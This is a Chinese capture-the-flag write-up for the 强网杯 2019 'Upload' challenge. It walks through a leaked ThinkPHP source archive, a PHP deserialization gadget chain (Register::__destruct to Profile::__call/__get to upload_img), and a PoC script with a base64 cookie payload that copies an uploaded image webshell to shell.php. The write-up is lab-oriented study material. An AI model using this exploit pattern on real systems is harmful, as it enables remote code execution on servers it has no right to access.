[强网杯 2019]Upload

[强网杯 2019]Upload

开放注册直接注册一个账号然后登录进去

先对页面进行简单文件上传测试发现都不存在漏洞对网站进行目录扫描

发现www.tar.gz

打开发现是tp5框架发现源码

这里如果前面信息收集的完整会发现存在反序列化

对注册,登录,上传文件页面分析

分析一下源码可以确定是反序列化

app\web\controller\Profile
 




   public function __get($name)
    {
        return $this->except[$name];
    }

    public function __call($name, $arguments)
    {
        if($this->{$name}){
            $this->{$this->{$name}}($arguments);
        }
    }


app\web\controller\Register
    public function __destruct()
    {
        if(!$this->registed){
            $this->checker->index();
        }
    }

魔术方法就这几个,继续分析寻找可以利用的漏洞

Register主要注册用户没有什么可以利用的地方

<?php
namespace app\web\controller;

use think\Controller;

class Profile extends Controller
{
    public $checker;
    public $filename_tmp;
    public $filename;
    public $upload_menu;
    public $ext;
    public $img;
    public $except;

    public function __construct()
    {   
        $this->checker=new Index();
        $this->upload_menu=md5($_SERVER['REMOTE_ADDR']);
        @chdir("../public/upload");
        if(!is_dir($this->upload_menu)){
            @mkdir($this->upload_menu);
        }
        @chdir($this->upload_menu);
    }

    public function upload_img(){
        if($this->checker){
            if(!$this->checker->login_check()){
                $curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";
                $this->redirect($curr_url,302);
                exit();
            }
        }

        if(!empty($_FILES)){
            $this->filename_tmp=$_FILES['upload_file']['tmp_name'];
            $this->filename=md5($_FILES['upload_file']['name']).".png";
            $this->ext_check();
        }
        if($this->ext) {
            if(getimagesize($this->filename_tmp)) {
                @copy($this->filename_tmp, $this->filename);
                @unlink($this->filename_tmp);
                $this->img="../upload/$this->upload_menu/$this->filename";
                $this->update_img();
            }else{
                $this->error('Forbidden type!', url('../index'));
            }
        }else{
            $this->error('Unknow file type!', url('../index'));
        }
    }

    public function update_img(){
        $user_info=db('user')->where("ID",$this->checker->profile['ID'])->find();
        if(empty($user_info['img']) && $this->img){
            if(db('user')->where('ID',$user_info['ID'])->data(["img"=>addslashes($this->img)])->update()){
                $this->update_cookie();
                $this->success('Upload img successful!', url('../home'));
            }else{
                $this->error('Upload file failed!', url('../index'));
            }
        }
    }

    public function update_cookie(){
        $this->checker->profile['img']=$this->img;
        cookie("user",base64_encode(serialize($this->checker->profile)),3600);
    }

    public function ext_check(){
        $ext_arr=explode(".",$this->filename);
        $this->ext=end($ext_arr);
        if($this->ext=="png"){
            return 1;
        }else{
            return 0;
        }
    }

    public function __get($name)
    {
        return $this->except[$name];
    }

    public function __call($name, $arguments)
    {
        if($this->{$name}){
            $this->{$this->{$name}}($arguments);
        }
    }

}

在profile中会对上传上来的文件存放在临时目录并将传入的文件名通过md5加密返回新的文件名

通过ext_check判断后缀名是不是png,判断成功后把临时文件复制到目标目录下并删除临时目录

       if($this->ext) {
            if(getimagesize($this->filename_tmp)) {
                @copy($this->filename_tmp, $this->filename);
                @unlink($this->filename_tmp);
                $this->img="../upload/$this->upload_menu/$this->filename";
                $this->update_img();
            }else{
                $this->error('Forbidden type!', url('../index'));
            }
        }else{
            $this->error('Unknow file type!', url('../index'));
        }
    }

重点在于上面这一段会复制this->filename_tmp到this->filename,如果我们能控制this->filename_tmp为上传后的png木马文件同时控制this->filename为php后缀文件,这里没有对this->filename_tmp和this->filename的值做判断

思路从Register.php中的__destruct()

这里要设置registed的值为0会

$this->checker->index()

这里我们可以把checker的值设置new Profile那就会变成调用Profile类中的index方法

但是Profile中没有index方法就会触发call


    public function __call($name, $arguments)
    {
        if($this->{$name}){
            $this->{$this->{$name}}($arguments);
        }
    }

}

这里就会变成this->index但是没有index这个属性就会触发get


    public function __get($name)
    {
        return $this->except[$name];
    }

这里except的参数可控我们让他成为键值的方式,最总我们要构造成upload_img方法,键为传入的index值为upload_img那返回给call就是this->upload_img(),进入upload_img方法后我们要设置checker的值为0,当值为0经过if($this->checker)时不进行判断然后设置ext为1进行复制文件的操作

先上传文件,

得到上传后的目录

<?php
namespace app\web\controller;
class Profile{
    public $checker = 0 ;
    public $filename_tmp = "./upload/1ca3561b92a37e6a85619366d3586b6b/00bf23e130fa1e525e332ff03dae345d.png";
    public $filename = "./upload/shell.php";
    public $ext = 1 ;
    public $except = array("index"=>"upload_img");
    
}
class Register{
    public $checker;
    public $registed = 0;
}
$a = new Register();
$a->checker= new Profile();
echo base64_encode(serialize($a));

    
    
    
    
?>
TzoyNzoiYXBwXHdlYlxjb250cm9sbGVyXFJlZ2lzdGVyIjoyOntzOjc6ImNoZWNrZXIiO086MjY6ImFwcFx3ZWJcY29udHJvbGxlclxQcm9maWxlIjo1OntzOjc6ImNoZWNrZXIiO2k6MDtzOjEyOiJmaWxlbmFtZV90bXAiO3M6Nzg6Ii4vdXBsb2FkLzFjYTM1NjFiOTJhMzdlNmE4NTYxOTM2NmQzNTg2YjZiLzAwYmYyM2UxMzBmYTFlNTI1ZTMzMmZmMDNkYWUzNDVkLnBuZyI7czo4OiJmaWxlbmFtZSI7czoxODoiLi91cGxvYWQvc2hlbGwucGhwIjtzOjM6ImV4dCI7aToxO3M6NjoiZXhjZXB0IjthOjE6e3M6NToiaW5kZXgiO3M6MTA6InVwbG9hZF9pbWciO319czo4OiJyZWdpc3RlZCI7aTowO30=

替换cookie访问修改过的页面

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

许允er

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值